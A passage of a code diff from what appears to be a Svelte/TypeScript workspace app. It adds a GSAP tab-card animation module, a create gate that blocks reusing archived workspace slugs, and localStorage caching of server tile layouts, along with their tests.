+ * GSAP never reads an element's computed style (per-element CSS tweens did,
+ * forcing a style recalc per moved card). Cards only TRANSLATE (plus a
+ * width tween when a card turns into / out of a double-width group parent);
+ * a group box never moves itself — only its absolutely-positioned, empty tint
+ * layer does (inset tween), so no card is ever double-translated.
+ *
+ * Like the sidebar panels (`layout/ui/panel-motion.ts`), shrink/grow change
+ * only a HEIGHT, clipped — contents keep their natural size. Grow is a
+ * `clip-path` reveal so the settled grid never shifts under it.
+ *
+ * Data-driven, not click-driven: it animates ANY change to the tab set (a
+ * summoned subagent, a close from another device, a regroup). Re-entrant —
+ * `capture` measures the in-flight VISUAL boxes, `play` clears in-flight
+ * motion before measuring the new layout. Disabled when the user prefers
+ * reduced motion (or the environment can't tell, e.g. jsdom).
+ */
+export interface TabFlip {
+ capture(nextIds: ReadonlySet<string>): void;
+ play(): void;
+}
+
+const SHRINK = 0.1;
+const MOVE = 0.1;
+const GROW = 0.1;
+/** Close: starts slow, finishes fast (accelerates away). */
+const SHRINK_EASE = "power2.in";
+/** Move: slow → fast → slow. */
+const MOVE_EASE = "power2.inOut";
+/** Open: starts fast, settles slowly (the mirror of close). */
+const GROW_EASE = "power2.out";
+const GHOST_ATTR = "data-tab-ghost";
+/** Fully clipped from the bottom edge up (0 visible height). */
+const CLIP_HIDDEN = "inset(0% 0% 100% 0%)";
+/** Every inline style this module may leave on a live element mid-flight. */
+const MOTION_PROPS = ["transform", "width", "clip-path", "top", "right", "bottom", "left"];
+
+interface Captured {
+ /** Visual box (incl. any in-flight motion) per flip id. Cards: the card; boxes: the tint. */
+ readonly rects: ReadonlyMap<string, DOMRect>;
+ /** Built but not yet started — their shrink starts in `play`. */
+ readonly ghosts: readonly HTMLElement[];
+}
+
+export function createTabFlip(getScroller: () => HTMLElement | undefined): TabFlip {
+ let captured: Captured | null = null;
+ /** Live elements carrying motion styles, so `play` can reset exactly those. */
+ const animating = new Set<HTMLElement>();
+ /** The running MOVE + GROW phase tweens (ghost shrinks run independently). */
+ let phases: gsap.core.Tween[] = [];
+
+ return {
+ capture(nextIds) {
+ captured = null;
+ const scroller = getScroller();
+ if (scroller === undefined || !motionAllowed()) return;
+ const els = flipElements(scroller);
+ if (els.length === 0) return;
+
+ // READS (one layout).
+ const rects = new Map<string, DOMRect>();
+ for (const el of els) rects.set(idOf(el), measureTarget(el).getBoundingClientRect());
+ const leaving = leavingFlipIds([...rects.keys()], nextIds);
+ const byId = new Map(els.map((el) => [idOf(el), el]));
+ const plans = leaving
+ .map((id) => byId.get(id))
+ .filter((el): el is HTMLElement => el !== undefined)
+ .map((el) => planGhost(scroller, el, rects.get(idOf(el))))
+ .filter((p): p is GhostPlan => p !== null);
+
+ // WRITES.
+ captured = { rects, ghosts: plans.map(insertGhost) };
+ },
+
+ play() {
+ const prev = captured;
+ captured = null;
+ const scroller = getScroller();
+ if (prev === null || scroller === undefined) return;
+
+ // Reset in-flight motion on live elements so the read below is the
+ // settled layout (their previous VISUAL boxes are already in `prev`).
+ for (const tween of phases) tween.kill();
+ phases = [];
+ for (const el of animating) clearMotion(el);
+ animating.clear();
+
+ // READS (one layout).
+ const next = flipElements(scroller).map((el) => {
+ const target = measureTarget(el);
+ return { target, id: idOf(el), rect: target.getBoundingClientRect() };
+ });
+
+ // Plan (pure arithmetic — no DOM access).
+ const entering: HTMLElement[] = [];
+ const movers: Mover[] = [];
+ for (const { target, id, rect } of next) {
+ const before = prev.rects.get(id);
+ if (before === undefined) entering.push(target);
+ else if (!sameBox(before, rect))
+ movers.push(planMove(target, isGroupFlipId(id), before, rect));
+ }
+ const moveAt = prev.ghosts.length > 0 ? SHRINK : 0;
+ const growAt = moveAt + (movers.length > 0 ? MOVE : 0);
+
+ // WRITES — first frame of every phase NOW (movers hold at their old
+ // boxes, new elements are fully clipped) so nothing flashes in between.
+ for (const m of movers) m.render(0);
+ for (const el of entering) el.style.clipPath = CLIP_HIDDEN;
+
+ // 1. SHRINK — one tween drives every ghost.
+ if (prev.ghosts.length > 0) {
+ const ghosts = prev.ghosts.map((g) => ({ g, h: Number.parseFloat(g.style.height) }));
+ gsap.to(
+ { p: 0 },
+ {
+ p: 1,
+ duration: SHRINK,
+ ease: SHRINK_EASE,
+ onUpdate(this: gsap.core.Tween) {
+ const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+ for (const { g, h } of ghosts) g.style.height = `${h * (1 - p)}px`;
+ },
+ onComplete: () => {
+ for (const { g } of ghosts) g.remove();
+ },
+ },
+ );
+ }
+
+ // 2. MOVE — one tween drives every card slide + tint morph.
+ if (movers.length > 0) {
+ for (const m of movers) animating.add(m.el);
+ phases.push(
+ gsap.to(
+ { p: 0 },
+ {
+ p: 1,
+ duration: MOVE,
+ delay: moveAt,
+ ease: MOVE_EASE,
+ onUpdate(this: gsap.core.Tween) {
+ const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+ for (const m of movers) m.render(p);
+ },
+ onComplete: () => {
+ for (const m of movers) {
+ clearMotion(m.el);
+ animating.delete(m.el);
+ }
+ },
+ },
+ ),
+ );
+ }
+
+ // 3. GROW — one tween reveals every new card / tint from its top edge.
+ if (entering.length > 0) {
+ for (const el of entering) animating.add(el);
+ phases.push(
+ gsap.to(
+ { p: 0 },
+ {
+ p: 1,
+ duration: GROW,
+ delay: growAt,
+ ease: GROW_EASE,
+ onUpdate(this: gsap.core.Tween) {
+ const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+ const clip = `inset(0% 0% ${(1 - p) * 100}% 0%)`;
+ for (const el of entering) el.style.clipPath = clip;
+ },
+ onComplete: () => {
+ for (const el of entering) {
+ clearMotion(el);
+ animating.delete(el);
+ }
+ },
+ },
+ ),
+ );
+ }
+ },
+ };
+}
+
+interface Mover {
+ readonly el: HTMLElement;
+ /** Write the element's styles at move progress `p` (0 = old box, 1 = home). */
+ render(p: number): void;
+}
+
+/**
+ * A card slides (and, when it turned into / out of a double-width group
+ * parent, resizes) from its old box; a group tint morphs its insets from its
+ * old rect. Both end at their natural layout (`p = 1` ⇒ zero offsets).
+ */
+function planMove(el: HTMLElement, isTint: boolean, from: DOMRect, to: DOMRect): Mover {
+ if (isTint) {
+ const top = from.top - to.top;
+ const left = from.left - to.left;
+ const right = to.right - from.right;
+ const bottom = to.bottom - from.bottom;
+ return {
+ el,
+ render(p) {
+ const k = 1 - p;
+ el.style.top = `${top * k}px`;
+ el.style.left = `${left * k}px`;
+ el.style.right = `${right * k}px`;
+ el.style.bottom = `${bottom * k}px`;
+ },
+ };
+ }
+ const dx = from.left - to.left;
+ const dy = from.top - to.top;
+ const resized = Math.abs(from.width - to.width) >= 0.5;
+ return {
+ el,
+ render(p) {
+ const k = 1 - p;
+ el.style.transform = `translate(${dx * k}px, ${dy * k}px)`;
+ if (resized) el.style.width = `${to.width + (from.width - to.width) * k}px`;
+ },
+ };
+}
+
+function clearMotion(el: HTMLElement): void {
+ for (const prop of MOTION_PROPS) el.style.removeProperty(prop);
+}
+
+function motionAllowed(): boolean {
+ return (
+ typeof window.matchMedia === "function" &&
+ !window.matchMedia("(prefers-reduced-motion: reduce)").matches
+ );
+}
+
+function flipElements(scroller: HTMLElement): HTMLElement[] {
+ return [...scroller.querySelectorAll<HTMLElement>("[data-flip-id]")];
+}
+
+function idOf(el: HTMLElement): string {
+ return el.dataset.flipId ?? "";
+}
+
+/** What VISUALLY represents a flip element: a card itself, a group box's tint. */
+function measureTarget(el: HTMLElement): HTMLElement {
+ if (!isGroupFlipId(idOf(el))) return el;
+ return el.querySelector<HTMLElement>(":scope > [data-group-backdrop]") ?? el;
+}
+
+/** Whether two rects are the same box (sub-pixel tolerance). */
+function sameBox(a: DOMRect, b: DOMRect): boolean {
+ const close = (x: number, y: number) => Math.abs(x - y) < 0.5;
+ return (
+ close(a.left, b.left) &&
+ close(a.top, b.top) &&
+ close(a.width, b.width) &&
+ close(a.height, b.height)
+ );
+}
+
+interface GhostPlan {
+ readonly source: HTMLElement;
+ readonly host: HTMLElement;
+ readonly isGroup: boolean;
+ readonly left: number;
+ readonly top: number;
+ readonly width: number;
+ readonly height: number;
+}
+
+/**
+ * READ half of a ghost: where an inert copy of a leaving element must sit.
+ *
+ * Paint order matters (cards are `relative`, so everything here stacks in DOM
+ * order): a leaving CARD's ghost goes on the scroller, ON TOP of the grid. A
+ * leaving GROUP BOX copies only its tint and goes FIRST in the box's
+ * enclosing grid: above the enclosing box's own tint, but BELOW every card.
+ */
+function planGhost(
+ scroller: HTMLElement,
+ el: HTMLElement,
+ rect: DOMRect | undefined,
+): GhostPlan | null {
+ const isGroup = isGroupFlipId(idOf(el));
+ const source = measureTarget(el);
+ const host = isGroup ? el.parentElement : scroller;
+ if (host === null || rect === undefined || (isGroup && source === el)) return null;
+ const h = host.getBoundingClientRect();
+ return {
+ source,
+ host,
+ isGroup,
+ left: rect.left - h.left - host.clientLeft + host.scrollLeft,
+ top: rect.top - h.top - host.clientTop + host.scrollTop,
+ width: rect.width,
+ height: rect.height,
+ };
+}
+
+/**
+ * WRITE half of a ghost: a clipping frame (whose height later shrinks to 0)
+ * around a full-size copy — only the frame animates, the copy never resizes.
+ */
+function insertGhost(plan: GhostPlan): HTMLElement {
+ const copy = plan.source.cloneNode(!plan.isGroup) as HTMLElement;
+ // A ghost is never a tab/group to queries, tests or assistive tech.
+ for (const node of [copy, ...copy.querySelectorAll<HTMLElement>("*")]) {
+ for (const attr of [
+ "data-flip-id",
+ "data-conversation-id",
+ "data-group-backdrop",
+ "role",
+ "id",
+ ]) {
+ node.removeAttribute(attr);
+ }
+ }
+ Object.assign(copy.style, {
+ position: "absolute",
+ inset: "auto",
+ left: "0",
+ top: "0",
+ width: `${plan.width}px`,
+ height: `${plan.height}px`,
+ margin: "0",
+ transform: "none",
+ clipPath: "none",
+ });
+ const ghost = document.createElement("div");
+ ghost.setAttribute(GHOST_ATTR, "");
+ ghost.setAttribute("aria-hidden", "true");
+ ghost.inert = true;
+ Object.assign(ghost.style, {
+ position: "absolute",
+ left: `${plan.left}px`,
+ top: `${plan.top}px`,
+ width: `${plan.width}px`,
+ height: `${plan.height}px`,
+ overflow: "hidden",
+ pointerEvents: "none",
+ zIndex: plan.isGroup ? "auto" : "2",
+ });
+ ghost.appendChild(copy);
+ if (plan.isGroup) plan.host.prepend(ghost);
+ else plan.host.appendChild(ghost);
+ return ghost;
+}
diff --git a/src/features/workspaces/adapter/http.test.ts b/src/features/workspaces/adapter/http.test.ts
index 2e34822..d6409ca 100644
--- a/src/features/workspaces/adapter/http.test.ts
+++ b/src/features/workspaces/adapter/http.test.ts
@@ -79,15 +79,37 @@ describe("createWorkspaceHttp", () => {
expect(result).toEqual({ ok: false, error: "invalid slug" });
});
- it("get returns null on 404", async () => {
+ it("get reports a missing lookup on 404", async () => {
const http = createWorkspaceHttp(BASE, fakeFetch([{ status: 404 }]));
- expect(await http.get("nope")).toBeNull();
+ expect(await http.get("nope")).toEqual({ kind: "missing" });
});
it("get returns the workspace on 200", async () => {
- const ws = { id: "x", title: "X", defaultCwd: "/home", createdAt: 1, lastActivityAt: 2 };
+ const ws = {
+ id: "x",
+ title: "X",
+ defaultCwd: "/home",
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ };
const http = createWorkspaceHttp(BASE, fakeFetch([{ body: ws }]));
- expect(await http.get("x")).toEqual(ws);
+ expect(await http.get("x")).toEqual({ kind: "found", workspace: ws });
+ });
+
+ it("get distinguishes a failed response from 404 (not 'missing')", async () => {
+ const http = createWorkspaceHttp(
+ BASE,
+ fakeFetch([{ status: 500, body: { error: "db down" } }]),
+ );
+ expect(await http.get("x")).toEqual({ kind: "failed", error: "db down" });
+ });
+
+ it("get reports a network error as failed (not 'missing')", async () => {
+ const http = createWorkspaceHttp(BASE, fakeFetch([new Error("network")]));
+ expect(await http.get("x")).toEqual({ kind: "failed", error: "network" });
});
it("setTitle PUTs the title", async () => {
diff --git a/src/features/workspaces/adapter/http.ts b/src/features/workspaces/adapter/http.ts
index de95a61..3f7f058 100644
--- a/src/features/workspaces/adapter/http.ts
+++ b/src/features/workspaces/adapter/http.ts
@@ -9,6 +9,7 @@ import type {
WorkspaceListResponse,
WorkspaceResponse,
} from "@dispatch/transport-contract";
+import type { WorkspaceLookup } from "../logic/create";
/**
* Workspace HTTP effects — the injected edge that talks to the backend's
@@ -21,7 +22,7 @@ import type {
* Endpoints ([email protected]):
* - `GET /workspaces` (optional `?archived=true|false|all`, default `false` = active only) → list
* - `PUT /workspaces/:id` (create-on-miss, idempotent) → ensure
- * - `GET /workspaces/:id` (404 → null) → get
+ * - `GET /workspaces/:id` (found | 404-missing | failed) → get
* - `PUT /workspaces/:id/title` → rename
* - `PUT /workspaces/:id/default-cwd` → set/clear default cwd
* - `PUT /workspaces/:id/default-computer` → set/clear default computer (SSH handoff #2)
@@ -41,7 +42,12 @@ export type WorkspaceArchivedFilter = "true" | "false" | "all";
export interface WorkspaceHttp {
list(archived?: WorkspaceArchivedFilter): Promise<readonly WorkspaceEntry[]>;
ensure(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
- get(id: string): Promise<Workspace | null>;
+ /**
+ * Authoritative existence probe. 404 → `missing`, a network/server failure →
+ * `failed` (distinct on purpose: the create gate must not treat a broken
+ * check as "doesn't exist"), 200 → the workspace (`found`).
+ */
+ get(id: string): Promise<WorkspaceLookup>;
setTitle(id: string, title: string): Promise<WorkspaceResult<Workspace>>;
setDefaultCwd(id: string, defaultCwd: string | null): Promise<WorkspaceResult<Workspace>>;
setDefaultComputer(id: string, computerId: string | null): Promise<WorkspaceResult<Workspace>>;
@@ -96,13 +102,17 @@ export function createWorkspaceHttp(httpBase: string, fetchImpl: typeof fetch):
}
},
- async get(id): Promise<Workspace | null> {
+ async get(id): Promise<WorkspaceLookup> {
try {
const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(id)}`);
- if (res.status === 404 || !res.ok) return null;
- return (await res.json()) as WorkspaceResponse;
- } catch {
- return null;
+ if (res.status === 404) return { kind: "missing" };
+ if (!res.ok) return { kind: "failed", error: await errText(res) };
+ return { kind: "found", workspace: (await res.json()) as WorkspaceResponse };
+ } catch (err) {
+ return {
+ kind: "failed",
+ error: err instanceof Error ? err.message : "Workspace lookup failed",
+ };
}
},
diff --git a/src/features/workspaces/index.ts b/src/features/workspaces/index.ts
index 1a60bb7..c7f57d5 100644
--- a/src/features/workspaces/index.ts
+++ b/src/features/workspaces/index.ts
@@ -1,6 +1,12 @@
export type { WorkspaceHttp, WorkspaceResult } from "./adapter/http";
export { createWorkspaceHttp } from "./adapter/http";
export { createTileLayoutHttp, type TileLayoutHttp } from "./adapter/tile-layout-http";
+export type { CreateGate, WorkspaceLookup } from "./logic/create";
+export {
+ archivedCreateMessage,
+ checkFailedCreateMessage,
+ gateCreate,
+} from "./logic/create";
export type {
DragEmit,
DragEvent as DragControllerEvent,
diff --git a/src/features/workspaces/logic/create.test.ts b/src/features/workspaces/logic/create.test.ts
new file mode 100644
index 0000000..278bcd6
--- /dev/null
+++ b/src/features/workspaces/logic/create.test.ts
@@ -0,0 +1,50 @@
+import type { Workspace } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import {
+ archivedCreateMessage,
+ checkFailedCreateMessage,
+ gateCreate,
+ type WorkspaceLookup,
+} from "./create";
+
+function workspace(overrides: Partial<Workspace> = {}): Workspace {
+ return {
+ id: "old",
+ title: "Old",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ ...overrides,
+ };
+}
+
+describe("gateCreate", () => {
+ it("blocks a slug whose workspace is archived, with the can't-create message", () => {
+ const lookup: WorkspaceLookup = { kind: "found", workspace: workspace({ archived: true }) };
+ const gate = gateCreate("old", lookup);
+ expect(gate).toEqual({ ok: false, error: archivedCreateMessage("old") });
+ expect(gate.ok === false && gate.error).toContain(
+ 'A workspace named "old" already exists and is archived — you can\'t create it.',
+ );
+ });
+
+ it("proceeds for an existing ACTIVE workspace (ensure is idempotent)", () => {
+ const lookup: WorkspaceLookup = { kind: "found", workspace: workspace({ archived: false }) };
+ expect(gateCreate("old", lookup)).toEqual({ ok: true });
+ });
+
+ it("proceeds for a missing slug", () => {
+ expect(gateCreate("fresh", { kind: "missing" })).toEqual({ ok: true });
+ });
+
+ it("blocks when the existence probe failed (never guesses)", () => {
+ const gate = gateCreate("maybe", { kind: "failed", error: "db down" });
+ expect(gate).toEqual({ ok: false, error: checkFailedCreateMessage("maybe", "db down") });
+ expect(gate.ok === false && gate.error).toContain(
+ 'Couldn\'t check whether a workspace named "maybe"',
+ );
+ });
+});
diff --git a/src/features/workspaces/logic/create.ts b/src/features/workspaces/logic/create.ts
new file mode 100644
index 0000000..c9385e1
--- /dev/null
+++ b/src/features/workspaces/logic/create.ts
@@ -0,0 +1,64 @@
+/**
+ * Pure create-gate logic for the New-workspace form — zero DOM, zero effects.
+ *
+ * `PUT /workspaces/:id` (ensure) is idempotent, so creating a slug that belongs
+ * to an ARCHIVED workspace would silently "succeed": the backend returns the
+ * archived workspace, the active list (which excludes archived) never shows it,
+ * and the home grid would still place a tile for something invisible. The
+ * frontend therefore probes `GET /workspaces/:id` first and refuses the create
+ * when the slug exists and is archived.
+ */
+
+import type { Workspace } from "@dispatch/wire";
+
+/**
+ * The authoritative existence probe's outcome (`GET /workspaces/:id`). The
+ * adapter maps HTTP status to these kinds; `failed` is deliberately distinct
+ * from `missing` (404) so a broken check is never mistaken for "no such
+ * workspace".
+ */
+export type WorkspaceLookup =
+ | { readonly kind: "found"; readonly workspace: Workspace }
+ | { readonly kind: "missing" }
+ | { readonly kind: "failed"; readonly error: string };
+
+/** Whether a create may proceed: `ok` or a user-facing error message. */
+export type CreateGate = { readonly ok: true } | { readonly ok: false; readonly error: string };
+
+/**
+ * The user-facing message when a slug belongs to an archived workspace. It
+ * states plainly that the create can't happen and points at the existing
+ * recovery affordance (the Archived workspaces list) without adding UI.
+ */
+export function archivedCreateMessage(id: string): string {
+ return `A workspace named "${id}" already exists and is archived — you can't create it. Unarchive it from Archived workspaces instead.`;
+}
+
+/**
+ * The user-facing message when the existence probe itself failed. Proceeding
+ * blindly could recreate the silent archived-tile bug, so the create is
+ * refused with a retryable message instead.
+ */
+export function checkFailedCreateMessage(id: string, error: string): string {
+ return `Couldn't check whether a workspace named "${id}" already exists (${error}). Try again.`;
+}
+
+/**
+ * Decide whether a create may proceed, given the probe outcome. Pure:
+ * `(id, lookup) → gate`.
+ *
+ * - archived slug → blocked with the "can't create" message;
+ * - missing slug or an ACTIVE existing slug → proceed (`ensure` is idempotent,
+ * so an active slug keeps today's behavior);
+ * - a failed probe → blocked too (plan §3.4): never guess, because proceeding
+ * could ensure an archived workspace's tile.
+ */
+export function gateCreate(id: string, lookup: WorkspaceLookup): CreateGate {
+ if (lookup.kind === "failed") {
+ return { ok: false, error: checkFailedCreateMessage(id, lookup.error) };
+ }
+ if (lookup.kind === "found" && lookup.workspace.archived) {
+ return { ok: false, error: archivedCreateMessage(id) };
+ }
+ return { ok: true };
+}
diff --git a/src/features/workspaces/store.svelte.ts b/src/features/workspaces/store.svelte.ts
index 57e34b2..b9b646b 100644
--- a/src/features/workspaces/store.svelte.ts
+++ b/src/features/workspaces/store.svelte.ts
@@ -1,6 +1,7 @@
import type { EnsureWorkspaceRequest } from "@dispatch/transport-contract";
import type { Workspace, WorkspaceEntry } from "@dispatch/wire";
import type { WorkspaceHttp, WorkspaceResult } from "./adapter/http";
+import { gateCreate } from "./logic/create";
import { applyArchived, applyStarred, sortWorkspaces } from "./logic/view-model";
/**
@@ -27,6 +28,14 @@ export interface WorkspaceStore {
refreshArchived(): Promise<void>;
/** `PUT /workspaces/:id` (create-on-miss). Returns the workspace or an error. */
ensure(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
+ /**
+ * Create a workspace via the New-workspace flow. Probes `GET /workspaces/:id`
+ * first and refuses a slug that belongs to an ARCHIVED workspace (the
+ * idempotent `ensure` would otherwise silently resurrect an invisible tile).
+ * A failed probe is refused too (see `gateCreate`). On success it falls
+ * through to `ensure`, unchanged.
+ */
+ create(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
/** Rename a workspace (display only; id unchanged). */
rename(id: string, title: string): Promise<WorkspaceResult<Workspace>>;
/** Set/clear a workspace's default cwd. */
@@ -102,6 +111,12 @@ export function createWorkspaceStore(http: WorkspaceHttp): WorkspaceStore {
}
},
+ async create(id, body): Promise<WorkspaceResult<Workspace>> {
+ const gate = gateCreate(id, await http.get(id));
+ if (!gate.ok) return { ok: false, error: gate.error };
+ return this.ensure(id, body);
+ },
+
async ensure(id, body): Promise<WorkspaceResult<Workspace>> {
const result = await http.ensure(id, body);
if (result.ok) void this.refresh();
diff --git a/src/features/workspaces/store.test.ts b/src/features/workspaces/store.test.ts
index a44d8a6..faec5bf 100644
--- a/src/features/workspaces/store.test.ts
+++ b/src/features/workspaces/store.test.ts
@@ -1,6 +1,7 @@
import type { Workspace, WorkspaceEntry } from "@dispatch/wire";
import { describe, expect, it, vi } from "vitest";
import type { WorkspaceResult } from "./adapter/http";
+import { archivedCreateMessage, type WorkspaceLookup } from "./logic/create";
import { createWorkspaceStore } from "./store.svelte";
function entry(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
@@ -25,14 +26,23 @@ function fakeHttp(opts: {
unstar?: (id: string) => Promise<WorkspaceResult<Workspace>>;
archive?: (id: string) => Promise<WorkspaceResult<Workspace>>;
unarchive?: (id: string) => Promise<WorkspaceResult<Workspace>>;
+ get?: (id: string) => Promise<WorkspaceLookup>;
+ ensure?: (id: string) => Promise<WorkspaceResult<Workspace>>;
}) {
return {
list: vi.fn(
async (_archived?: "true" | "false" | "all"): Promise<readonly WorkspaceEntry[]> =>
opts.list ?? [],
),
- ensure: vi.fn(),
- get: vi.fn(),
+ ensure:
+ opts.ensure ??
+ vi.fn(
+ async (id: string): Promise<WorkspaceResult<Workspace>> => ({
+ ok: true,
+ value: entry({ id }),
+ }),
+ ),
+ get: vi.fn(opts.get ?? (async (): Promise<WorkspaceLookup> => ({ kind: "missing" }))),
setTitle: vi.fn(),
setDefaultCwd: vi.fn(),
setDefaultComputer: vi.fn(),
@@ -224,6 +234,53 @@ describe("createWorkspaceStore — setArchived", () => {
});
});
+describe("createWorkspaceStore — create (archived-slug gate)", () => {
+ it("refuses an archived slug with the can't-create message and never calls ensure", async () => {
+ const http = fakeHttp({
+ get: async () => ({ kind: "found", workspace: entry({ id: "old", archived: true }) }),
+ });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("old");
+
+ expect(result).toEqual({ ok: false, error: archivedCreateMessage("old") });
+ expect(http.ensure).not.toHaveBeenCalled();
+ });
+
+ it("proceeds for an existing non-archived slug (ensure is called as before)", async () => {
+ const http = fakeHttp({
+ get: async () => ({ kind: "found", workspace: entry({ id: "taken", archived: false }) }),
+ });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("taken");
+
+ expect(result.ok).toBe(true);
+ expect(http.ensure).toHaveBeenCalledTimes(1);
+ });
+
+ it("proceeds for a brand-new slug (404 → missing)", async () => {
+ const http = fakeHttp({ get: async () => ({ kind: "missing" }) });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("fresh");
+
+ expect(result.ok).toBe(true);
+ expect(http.ensure).toHaveBeenCalledTimes(1);
+ });
+
+ it("refuses when the existence check itself failed, without calling ensure (§3.4)", async () => {
+ const http = fakeHttp({ get: async () => ({ kind: "failed", error: "db down" }) });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("maybe");
+
+ expect(result.ok).toBe(false);
+ if (!result.ok) expect(result.error).toContain("Couldn't check whether");
+ expect(http.ensure).not.toHaveBeenCalled();
+ });
+});
+
describe("createWorkspaceStore — refreshArchived", () => {
it("loads the archived list via list('true') without touching the main list", async () => {
const http = fakeHttp({ list: [entry({ id: "active", archived: false })] });
diff --git a/src/features/workspaces/tile-layout-store.svelte.ts b/src/features/workspaces/tile-layout-store.svelte.ts
index a910c73..98a5c33 100644
--- a/src/features/workspaces/tile-layout-store.svelte.ts
+++ b/src/features/workspaces/tile-layout-store.svelte.ts
@@ -2,6 +2,7 @@ import type {
TileLayoutData as ContractTileLayoutData,
TileGeometryMode,
} from "@dispatch/tile-layout-contract";
+import { createLocalStore } from "../../adapters/local-storage";
import type { TileLayoutHttp } from "./adapter/tile-layout-http";
import {
type Cell,
@@ -25,7 +26,7 @@ import {
*
* - **Orientation selection** — `setMode(mode)` (the home page's effect on
* the resolved grid geometry) is the boot + orientation-change trigger:
- * an orientation CHANGE resets to the local empty default and probes that
+ * an orientation CHANGE seeds from its cached server layout and probes that
* orientation's document fresh. Same-mode calls are a no-op. The store
* probes its INITIAL mode on creation (the boot probe).
* - **Server-backed** — a successful probe applies the server document;
@@ -38,7 +39,7 @@ import {
* clients; the client filters by mode).
* - **Quiet degrade** — any probe/write failure (backend unreachable, routes
* not served) keeps the local state with EPHEMERAL edits (in-memory only —
- * the retired localStorage write path is gone); logged once, no error UI.
+ * only server-confirmed layouts are cached); logged once, no error UI.
* - **Sync gating** — `sync(ids)` no-ops while the first probe for an
* orientation is in flight (`providerState === "unknown"`): merging the
* live workspace list into an unprobed empty document would PUT a wiped
@@ -61,7 +62,7 @@ export interface TileLayoutStore {
/**
* Select the active orientation and probe its document. Same-mode calls
* are a no-op (the boot probe fires on creation for the initial mode);
- * an orientation CHANGE resets to the local default + probes fresh.
+ * an orientation CHANGE seeds from its cache + probes fresh.
*/
setMode(mode: TileGeometryMode): void;
/** Re-probe the ACTIVE orientation's document (reconnect catch-up). */
@@ -96,6 +97,10 @@ export interface TileLayoutStore {
export interface TileLayoutStoreOptions {
/** The injected HTTP edge (the `home-tile-layout` plugin's routes). */
readonly http: TileLayoutHttp;
+ /** Initial viewport orientation (default wide). */
+ readonly initialMode?: TileGeometryMode;
+ /** Injected localStorage for server-layout snapshots; absent → no cache. */
+ readonly storage?: Storage | undefined;
/** Edit-PUT debounce window in ms (default 300; tests shrink it). */
readonly debounceMs?: number;
/** The quiet-failure hook (default `console.warn` — never an error UI). */
@@ -109,11 +114,16 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
const debounceMs = opts.debounceMs ?? DEFAULT_DEBOUNCE_MS;
const warn = opts.warn ?? ((message: string) => console.warn(message));
- let mode = $state<TileGeometryMode>("wide");
+ const cache = {
+ wide: createLocalStore<TileLayoutData>("dispatch.tile-layout.wide", { storage: opts.storage }),
+ tall: createLocalStore<TileLayoutData>("dispatch.tile-layout.tall", { storage: opts.storage }),
+ };
+ const initialMode = opts.initialMode ?? "wide";
+ let mode = $state<TileGeometryMode>(initialMode);
// The ACTIVE orientation's document — the server's copy once a probe has
// landed (sanitized defensively; the backend validates strictly), the
- // empty default until then.
- let data = $state<TileLayoutData>(sanitizeLayout(null));
+ // cached server snapshot (or empty default) until then. Never PUT the seed.
+ let data = $state<TileLayoutData>(sanitizeLayout(cache[initialMode].load()));
let providerState = $state<TileLayoutProviderState>("unknown");
/** The last document known to come from the server (GET / WS push / PUT echo) — the rollback target. */
@@ -141,6 +151,7 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
function applyServerLayout(next: TileLayoutData): void {
lastServerLayout = next;
data = next;
+ cache[mode].save(next);
}
function clearPutTimer(): void {
@@ -154,7 +165,10 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
putTimer = null;
// Read the CURRENT document at fire time: a newer edit supersedes the
// debounced snapshot (one in-flight write per window, last wins).
- const result = await http.putLayout(mode, { version: 2, tiles: data.tiles });
+ const writtenMode = mode;
+ const result = await http.putLayout(writtenMode, { version: 2, tiles: data.tiles });
+ if (result.ok) cache[writtenMode].save(sanitizeLayout(result.layout));
+ if (writtenMode !== mode) return;
if (result.ok) {
notePresent();
// The server's validated echo is the new rollback target.
@@ -227,12 +241,12 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
setMode(next) {
if (next === mode) return;
mode = next;
- // The document belongs to the OLD orientation now: reset to the local
- // default while the probe resolves (never flash the other
+ // The document belongs to the OLD orientation now: seed from this
+ // mode's cache while the probe resolves (never flash the other
// orientation's arrangement), and drop any queued edit.
clearPutTimer();
lastServerLayout = null;
- data = sanitizeLayout(null);
+ data = sanitizeLayout(cache[mode].load());
providerState = "unknown";
void runProbe();
},
diff --git a/src/features/workspaces/tile-layout-store.test.ts b/src/features/workspaces/tile-layout-store.test.ts
index 15f7a74..b5af8b6 100644
--- a/src/features/workspaces/tile-layout-store.test.ts
+++ b/src/features/workspaces/tile-layout-store.test.ts
@@ -72,9 +72,11 @@ async function flushOnly(): Promise<void> {
describe("createTileLayoutStore", () => {
beforeEach(() => {
vi.useFakeTimers();
+ localStorage.clear();
});
afterEach(() => {
vi.useRealTimers();
+ localStorage.clear();
});
it("the boot probe applies the server document for the initial mode", async () => {
@@ -86,6 +88,118 @@ describe("createTileLayoutStore", () => {
expect(store.mode).toBe("wide");
});
+ it("honors the initial tall mode with exactly one probe and no same-mode reset", async () => {
+ const http = fakeHttp({ tall: doc(tile("mobile", 0)) });
+ const get = vi.spyOn(http, "getLayout");
+ const store = createTileLayoutStore({ http, initialMode: "tall" });
+ store.setMode("tall");
+ await flushOnly();
+ expect(get.mock.calls).toEqual([["tall"]]);
+ expect(store.mode).toBe("tall");
+ expect(store.entries).toEqual([tile("mobile", 0)]);
+ });
+
+ it("seeds from cache immediately without PUT or caching edits before revalidation", async () => {
